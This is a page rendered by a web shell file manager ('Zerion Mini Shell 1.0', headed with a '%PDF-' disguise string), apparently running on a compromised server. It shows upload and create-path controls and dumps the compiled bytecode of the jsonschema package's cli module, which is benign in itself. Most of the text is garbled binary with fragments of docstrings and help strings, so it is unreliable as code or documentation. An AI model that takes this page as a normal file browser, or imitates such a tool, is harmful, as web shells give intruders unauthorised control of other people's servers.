%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/jsonschema/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/jsonschema/__pycache__/cli.cpython-312.pyc

�

`��d/ ��^�dZddlmZddlmZddlZddlZddlZddlZ	ddlm	Z		ddlm
Z
ddlZddlmZddlmZmZGd	�d
e�Zej.Gd�de��Zej.Gd
�de��Zej.Gd�de��Zd�Zej:d��Zej?ddddd��ej?ddd��ej?ddd d!gd d"�#�ej?d$d%ed&�'�ej?d(d)��ej?d*d+e	j@d,��-�ej?d.d/��d0�Z!d1�Z"ejFd2dfd3�Z$ejJejLejNfd4�Z(y#e
$rddlZ	Y��swxYw#e
$r
ddlm
Z
Y��~wxYw)5z"
The ``jsonschema`` command line.
�)�JSONDecodeError)�dedentN)�metadata��resolve_name)�SchemaError)�RefResolver�
validator_forc��eZdZy)�_CannotLoadFileN)�__name__�
__module__�__qualname__���0/usr/lib/python3/dist-packages/jsonschema/cli.pyrrs��rrc��eZdZej�Zej�Zej�Zed��Z	d�Z
d�Zd�Zd�Z
d�Zy)�
_Outputterc�j�|ddk(rt|d�}n|ddk(r
t�}|||��S)N�output�plain�error_format�pretty)�	formatter�stdout�stderr)�_PlainFormatter�_PrettyFormatter)�cls�	argumentsrrrs     r�from_argumentsz_Outputter.from_arguments'sB���X��'�)�'�	�.�(A�B�I�
�x�
 �H�
,�(�*�I��Y�v�f�E�Erc�f�	t|�}|5	t
j|�cddd�S#t$r0|j|tj���t��wxYw#t$r0|j|tj���t��wxYw#1swYyxYw)N��path�exc_info)
�open�FileNotFoundError�filenotfound_error�sysr%r�json�loadr�
parsing_error)�selfr$�files   rr+z_Outputter.load/s���	$���:�D�
�	(�
(��y�y���	(�	(��	!�	$��#�#������#�G�!�#�#�	$��#�
(��"�"��s�|�|�~�"�F�%�'�'�
(��	(�	(�s%�/�B'�A+�9A(�+9B$�$B'�'B0c�n�|jj|jjdi|���y�Nr)�_stderr�write�
_formatterr(�r-�kwargss  rr(z_Outputter.filenotfound_error=�)�������=�4�?�?�=�=�G��G�Hrc�n�|jj|jjdi|���yr0)r1r2r3r,r4s  rr,z_Outputter.parsing_error@s)�������8�4�?�?�8�8�B�6�B�Crc�n�|jj|jjdi|���yr0)r1r2r3�validation_errorr4s  rr9z_Outputter.validation_errorCs)�������;�4�?�?�;�;�E�f�E�Frc�n�|jj|jjdi|���yr0)�_stdoutr2r3�validation_successr4s  rr<z_Outputter.validation_successFr6rN)r
rr�attr�ibr3r;r1�classmethodr!r+r(r,r9r<rrrrr s\�������J��d�g�g�i�G��d�g�g�i�G��F��F�(�I�D�G�Irrc�8�eZdZed�ZdZd�Zd�Zd�Zd�Z	y)rz`        ===[{type}]===({path})===

        {body}
        -----------------------------
        z===[SUCCESS]===({path})===
c�\�|jj|ddj|���S)Nr'z{!r} does not exist.�r$�type�body)�
_ERROR_MSG�format�r-r$r%s   rr(z#_PrettyFormatter.filenotfound_errorWs2�����%�%��$�'�.�.�t�4�&�
�	
rc��|\}}}djtj|||��}|jj	||j
|��S)N�rB)�join�	traceback�format_exceptionrErFr
)r-r$r%�exc_type�	exc_value�
exc_traceback�	exc_liness       rr,z_PrettyFormatter.parsing_error^s[��-5�*��)�]��G�G��&�&�x��M�J�
�	����%�%���"�"��&�
�	
rc�f�|jj||jj|��S)NrB)rErF�	__class__r
�r-�
instance_path�errors   rr9z!_PrettyFormatter.validation_erroris1�����%�%�����)�)��&�
�	
rc�:�|jj|��S)N)r$)�_SUCCESS_MSGrF�r-rTs  rr<z#_PrettyFormatter.validation_successps��� � �'�'�]�'�;�;rN)
r
rrrrErWr(r,r9r<rrrrrJs.���	��J�2�L�
�	
�
�<rrc�F�eZdZej�Zd�Zd�Zd�Zd�Z	y)rc�$�dj|�S)Nz{!r} does not exist.
)rFrGs   rr(z"_PlainFormatter.filenotfound_errorys��'�.�.�t�4�4rc�L�dj|dk(rdn
t|�|d�S)NzFailed to parse {}: {}
�<stdin>�)rF�reprrGs   rr,z_PlainFormatter.parsing_error|s,��)�0�0���*�I��T�
��Q�K�
�	
rc�<�|jj||��S)N)�	file_namerU)�
_error_formatrFrSs   rr9z _PlainFormatter.validation_error�s���!�!�(�(�=��(�N�Nrc��y)NrIrrXs  rr<z"_PlainFormatter.validation_success�s��rN)
r
rrr=r>rar(r,r9r<rrrrrts&���D�G�G�I�M�5�
�O�rrc�*�d|vrd|z}t|�S)N�.zjsonschema.r)�names r�_resolve_name_with_defaultrf�s��
�$���t�#�����rzJSON Schema Validation CLI)�descriptionz-iz
--instance�append�	instancesz�
        a path to a JSON instance (i.e. filename.json) to validate (may
        be specified multiple times). If no instances are provided via this
        option, one will be expected on standard input.
    )�action�dest�helpz-Fz--error-formata�
        the format to use for each validation error message, specified
        in a form suitable for str.format. This string will be passed
        one formatted object named 'error' for each ValidationError.
        Only provide this option when using --output=plain, which is the
        default. If this argument is unprovided and --output=plain is
        used, a simple default representation will be used.
    )rlz-oz--outputrrz�
        an output format to use. 'plain' (default) will produce minimal
        text with one line for each error, while 'pretty' will produce
        more detailed human-readable output on multiple lines.
    )�choices�defaultrlz-Vz--validatorz�
        the fully qualified object name of a validator to use, or, for
        validators that are registered with jsonschema, simply the name
        of the class.
    )rCrlz
--base-uriz�
        a base URI to assign to the provided schema, even if it does not
        declare one (via e.g. $id). This option can be used if you wish to
        resolve relative references to a particular URI (or local path)
    z	--version�version�
jsonschema)rjro�schemaz=the path to a JSON Schema to validate with (i.e. schema.json)c��ttj|xsdg���}|ddk7r|drtjd��|ddk(r
|d�d|d<|S)Nz--help��argsrrrz3--error-format can only be used with --output plainz"{error.instance}: {error.message}
)�vars�parser�
parse_argsrU)rtr s  rrwrw�sr���V�&�&�D�,>�X�J�&�?�@�I����g�%�)�N�*C��l�l�A�
�	
����g�%�)�N�*C�*K�$I�	�.�!��rc��d}|j|�D]}d}|j||���|s|j|��|S)NFT�rTrU)rT)�iter_errorsr9r<)rT�instance�	validator�	outputter�invalidrUs      r�_validate_instancer�sV���G��&�&�x�0�M�����"�"��e�"�L�M���$�$�=�$�A��Nrr]c�V�tjtt|�����y)Nrs)r )r)�exit�runrwrss r�mainr��s���H�H�S�:�4�0�
1�2rc���
�tj|||���
	�
j|d�}|d�t	|�|d<	|dj|�|dr�
j|d}}n	�
�fd�}dg}|d	�t|d	|�
�nd}|d||��}	d}
|D]}	||�}|
t|||	�
�
�z}
�|
S#t$rYywxYw#t$r }�
j|d|��Yd}~yd}~wwxYw#t$rd}
Y�jwxYw)N)r rrrqr]r|ryric���	tj��S#t$r0�jdt	j
���t
��wxYw)Nr\r#)r*r+rr,r)r%r)�_r}�stdins ��rr+zrun.<locals>.loadsO���
(��y�y��'�'��"�
(��'�'�"�S�\�\�^�(��&�'�'�	
(�s	��9Ar\�base_uri)r��referrer)�resolverr)rTr{r|r})
rr!r+rr
�check_schemarr9r	r)r rrr�rqrUr+rir�r|�	exit_code�eachr{r}s   `         @rr�r��s�����)�)����*��I�����	�(� 3�4�����%�!.�v�!6�	�+����+��+�+�F�3����#�.�.�)�K�*@�i��	(��K�	�

�:�	�	*���:�&���15�
�
'�	�+�&�v��A�I��I����
	��D�z�H�
�+�"�!�#�#�	�
�I�
����a��������"�"�#�H�-��	#�	
�����<�	��I�	�s;�C�C�$C=�	C�
C�	C:�C5�5C:�=D�
D))�__doc__r*r�textwrapr�argparser)rK�	importlibr�ImportError�importlib_metadata�pkgutilr�pkgutil_resolve_namer=�jsonschema.exceptionsr�jsonschema.validatorsr	r
�	Exceptionr�s�objectrrrrf�ArgumentParserrv�add_argumentrorwr�argvr�rrr�r�rrr�<module>r�s���!����
��*�"�2�$��-�<�	�i�	����&I��&I��&I�R���&<�v�&<��&<�R����f����(�
!��	 �	 �,�
������,��	�
�	�	�����
�
��
�����*�
�h���
�	�	�����-�	#�
�������
���������H���\�*���
����	H������h�h�q�r�l�3��*�*�S�Z�Z�s�y�y�9��s�*�)�*��
�2�1�1�2�s"�F
�F�
	F�F�F,�+F,

Zerion Mini Shell 1.0